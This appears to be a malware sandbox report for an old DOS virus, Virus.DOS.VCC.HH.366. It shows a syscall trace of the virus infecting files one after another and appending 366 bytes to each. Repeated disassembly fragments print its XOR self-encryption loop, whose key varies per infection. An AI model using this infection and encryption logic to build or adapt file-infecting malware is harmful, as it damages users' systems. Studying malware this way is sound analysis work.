Sample viewer

vx.netlux.org/Virus.DOS.VCC.HH.366

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:52:50.243044717Z 26 PC: 12e55 | Set disk transfer address
2018-12-17T22:52:50.244412107Z 37 PC: 12e62 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:52:50.246690772Z 37 PC: 12e66 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:52:50.247821923Z 78 PC: 12e82 | Find first file
2018-12-17T22:52:50.253921338Z 61 PC: 12f20 | Open file (Filename = '')
2018-12-17T22:52:50.260848949Z 63 PC: 12f2f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:50.269537112Z 66 PC: 12f3f | Move file pointer
2018-12-17T22:52:50.271166809Z 66 PC: 12f4f | Move file pointer
2018-12-17T22:52:50.27343191Z 64 PC: 12f5b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:50.276511226Z 66 PC: 12f68 | Move file pointer
2018-12-17T22:52:50.278395085Z 44 PC: 12f6c | Get time 0x12f6c: mov byte ptr ds:[bp + 0x26e], dl
0x12f71: call 0x12f87
0x12f74: mov ah, 0x40
0x12f76: mov cx, 0x16e
0x12f79: lea dx, word ptr [bp + 0x106]
0x12f7d: int 0x21
0x12f7f: call 0x12f87
0x12f82: mov ah, 0x3e
0x12f84: int 0x21
0x12f86: ret
0x12f87: lea si, word ptr [bp + 0x120]
0x12f8b: mov cx, 0x12f
0x12f8e: xor byte ptr [si], 0xd
0x12f91: inc si
0x12f92: dec cx
0x12f93: jne 0x12f8e
0x12f95: ret
0x12f96: add word ptr [bx], di
0x12f98: aas
0x12f99: aas
2018-12-17T22:52:50.289571298Z 64 PC: 12f7f | Write file or device (Write 366 bytes on handle 5)
2018-12-17T22:52:50.304631928Z 62 PC: 12f86 | Close file
2018-12-17T22:52:50.313345533Z 79 PC: 12e82 | Find next file
2018-12-17T22:52:50.316926473Z 61 PC: 12f20 | Open file (Filename = '')
2018-12-17T22:52:50.323440723Z 63 PC: 12f2f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:50.329705963Z 66 PC: 12f3f | Move file pointer
2018-12-17T22:52:50.332245376Z 66 PC: 12f4f | Move file pointer
2018-12-17T22:52:50.333718127Z 64 PC: 12f5b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:50.336223001Z 66 PC: 12f68 | Move file pointer
2018-12-17T22:52:50.337782441Z 44 PC: 12f6c | Get time 0x12f6c: mov byte ptr ds:[bp + 0x26e], dl
0x12f71: call 0x12f87
0x12f74: mov ah, 0x40
0x12f76: mov cx, 0x16e
0x12f79: lea dx, word ptr [bp + 0x106]
0x12f7d: int 0x21
0x12f7f: call 0x12f87
0x12f82: mov ah, 0x3e
0x12f84: int 0x21
0x12f86: ret
0x12f87: lea si, word ptr [bp + 0x120]
0x12f8b: mov cx, 0x12f
0x12f8e: xor byte ptr [si], 0x3c
0x12f91: inc si
0x12f92: dec cx
0x12f93: jne 0x12f8e
0x12f95: ret
0x12f96: add word ptr [bx], di
0x12f98: aas
0x12f99: aas
2018-12-17T22:52:50.34092261Z 64 PC: 12f7f | Write file or device (Write 366 bytes on handle 5)
2018-12-17T22:52:50.343784238Z 62 PC: 12f86 | Close file
2018-12-17T22:52:50.352142526Z 79 PC: 12e82 | Find next file
2018-12-17T22:52:50.355126179Z 61 PC: 12f20 | Open file (Filename = '')
2018-12-17T22:52:50.362178373Z 63 PC: 12f2f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:50.369372573Z 66 PC: 12f3f | Move file pointer
2018-12-17T22:52:50.371474692Z 66 PC: 12f4f | Move file pointer
2018-12-17T22:52:50.373235823Z 64 PC: 12f5b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:50.37588537Z 66 PC: 12f68 | Move file pointer
2018-12-17T22:52:50.385663943Z 44 PC: 12f6c | Get time 0x12f6c: mov byte ptr ds:[bp + 0x26e], dl
0x12f71: call 0x12f87
0x12f74: mov ah, 0x40
0x12f76: mov cx, 0x16e
0x12f79: lea dx, word ptr [bp + 0x106]
0x12f7d: int 0x21
0x12f7f: call 0x12f87
0x12f82: mov ah, 0x3e
0x12f84: int 0x21
0x12f86: ret
0x12f87: lea si, word ptr [bp + 0x120]
0x12f8b: mov cx, 0x12f
0x12f8e: xor byte ptr [si], 0x41
0x12f91: inc si
0x12f92: dec cx
0x12f93: jne 0x12f8e
0x12f95: ret
0x12f96: add word ptr [bx], di
0x12f98: aas
0x12f99: aas
2018-12-17T22:52:50.388810002Z 64 PC: 12f7f | Write file or device (Write 366 bytes on handle 5)
2018-12-17T22:52:50.391490252Z 62 PC: 12f86 | Close file
2018-12-17T22:52:50.400909524Z 79 PC: 12e82 | Find next file
2018-12-17T22:52:50.403479888Z 61 PC: 12f20 | Open file (Filename = '')
2018-12-17T22:52:50.409827182Z 63 PC: 12f2f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:50.418829003Z 66 PC: 12f3f | Move file pointer
2018-12-17T22:52:50.420401978Z 66 PC: 12f4f | Move file pointer
2018-12-17T22:52:50.422005954Z 64 PC: 12f5b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:50.425687294Z 66 PC: 12f68 | Move file pointer
2018-12-17T22:52:50.427451691Z 44 PC: 12f6c | Get time 0x12f6c: mov byte ptr ds:[bp + 0x26e], dl
0x12f71: call 0x12f87
0x12f74: mov ah, 0x40
0x12f76: mov cx, 0x16e
0x12f79: lea dx, word ptr [bp + 0x106]
0x12f7d: int 0x21
0x12f7f: call 0x12f87
0x12f82: mov ah, 0x3e
0x12f84: int 0x21
0x12f86: ret
0x12f87: lea si, word ptr [bp + 0x120]
0x12f8b: mov cx, 0x12f
0x12f8e: xor byte ptr [si], 0x41
0x12f91: inc si
0x12f92: dec cx
0x12f93: jne 0x12f8e
0x12f95: ret
0x12f96: add word ptr [bx], di
0x12f98: aas
0x12f99: aas
2018-12-17T22:52:50.43002647Z 64 PC: 12f7f | Write file or device (Write 366 bytes on handle 5)
2018-12-17T22:52:50.434175267Z 62 PC: 12f86 | Close file
2018-12-17T22:52:50.442468573Z 79 PC: 12e82 | Find next file
2018-12-17T22:52:50.444988434Z 61 PC: 12f20 | Open file (Filename = '')
2018-12-17T22:52:50.452194463Z 63 PC: 12f2f | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:52:50.458672762Z 66 PC: 12f3f | Move file pointer
2018-12-17T22:52:50.461112361Z 66 PC: 12f4f | Move file pointer
2018-12-17T22:52:50.463479442Z 64 PC: 12f5b | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:52:50.466728512Z 66 PC: 12f68 | Move file pointer
2018-12-17T22:52:50.468392216Z 44 PC: 12f6c | Get time 0x12f6c: mov byte ptr ds:[bp + 0x26e], dl
0x12f71: call 0x12f87
0x12f74: mov ah, 0x40
0x12f76: mov cx, 0x16e
0x12f79: lea dx, word ptr [bp + 0x106]
0x12f7d: int 0x21
0x12f7f: call 0x12f87
0x12f82: mov ah, 0x3e
0x12f84: int 0x21
0x12f86: ret
0x12f87: lea si, word ptr [bp + 0x120]
0x12f8b: mov cx, 0x12f
0x12f8e: xor byte ptr [si], 0x47
0x12f91: inc si
0x12f92: dec cx
0x12f93: jne 0x12f8e
0x12f95: ret
0x12f96: add word ptr [bx], di
0x12f98: aas
0x12f99: aas
2018-12-17T22:52:50.485900468Z 64 PC: 12f7f | Write file or device (Write 366 bytes on handle 5)
2018-12-17T22:52:50.491230819Z 62 PC: 12f86 | Close file
2018-12-17T22:52:50.498872814Z 26 PC: 12e9c | Set disk transfer address